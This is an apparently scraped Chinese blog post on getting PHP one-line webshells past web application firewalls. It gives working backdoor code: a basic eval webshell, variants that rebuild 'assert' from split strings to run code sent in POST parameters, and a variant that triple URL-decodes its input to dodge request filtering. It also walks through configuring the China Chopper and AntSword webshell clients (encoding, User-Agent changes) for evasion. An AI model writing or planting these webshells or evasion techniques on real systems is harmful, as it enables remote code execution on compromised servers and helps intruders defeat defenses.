• 论一句话过WAF


    一.绕过方式

    • 木马存在敏感字符被拦截

    木马代码存在敏感字符,直接被waf。如:如直接传<?php @@eval($_POST['123']); ?>,由于存在eval危险函数直接被拦截。

    这时候需要对被waf的危险字符进行各种变形即可

    收集的过狗马,最大同性交友网站github也有很多webshell项目

    $poc = "a#s#s#e#r#t";

    $poc_1 = explode("#", $poc);

    $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];

    $poc_2($_POST['super'])

    • Request请求体中存在敏感字符被拦截

    最常见的就是对User-Agent和请求参数中进行检测。

    如请求参数中存在敏感字符就会被拦,也会对特定标识的User-Agent头部进行拦截。如中国菜刀的User-Agent头部标识。

    如对GET请求数据中的phpinfo()字符进行拦截

    这时候我们需要对请求的参数进行编码,相对的在一句话代码中需要对传入的参数进行解密

    如: 使用3次URL编码绕过

    <?php

    $poc ="axsxsxexrxt";

    $poc_1 = explode("x", $poc);

    $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];

    $poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));

    ?>

    Phpinfo()进行三次url编码

    二.原版菜刀的过waf配置

    在Config.ini文件中对PHP_MAKE参数进行加密

    如:   需要对传参进行三次URL编码

    PHP_MAKE参数进行三次url加密和设置请求头即可

    三.中国蚁剑AndSword过waf的配置

    配置编码设置,这里我已PHP脚本作为例子

    这里会有一个base64编码作为示范,只需要改动data[pwd]即可

    三次URL编码,注意${randomID}不要做处理

    在下方选中解密器,配置User-Agent

  • 相关阅读:
    python练习册 每天一个小程序 第0006题
    python练习册 每天一个小程序 第0005题
    [happyctf]部分writeup
    python练习册 每天一个小程序 第0004题
    [实验吧](web)因缺思厅的绕过 源码审计绕过
    python练习册 每天一个小程序 第0002题
    poj2185 Milking Grid
    hdu1711 Number Sequence
    poj1961 Period
    lightOJ 1017 Brush (III) DP
  • 原文地址:https://www.cnblogs.com/supdon/p/13469725.html
Copyright © 2020-2023  润新知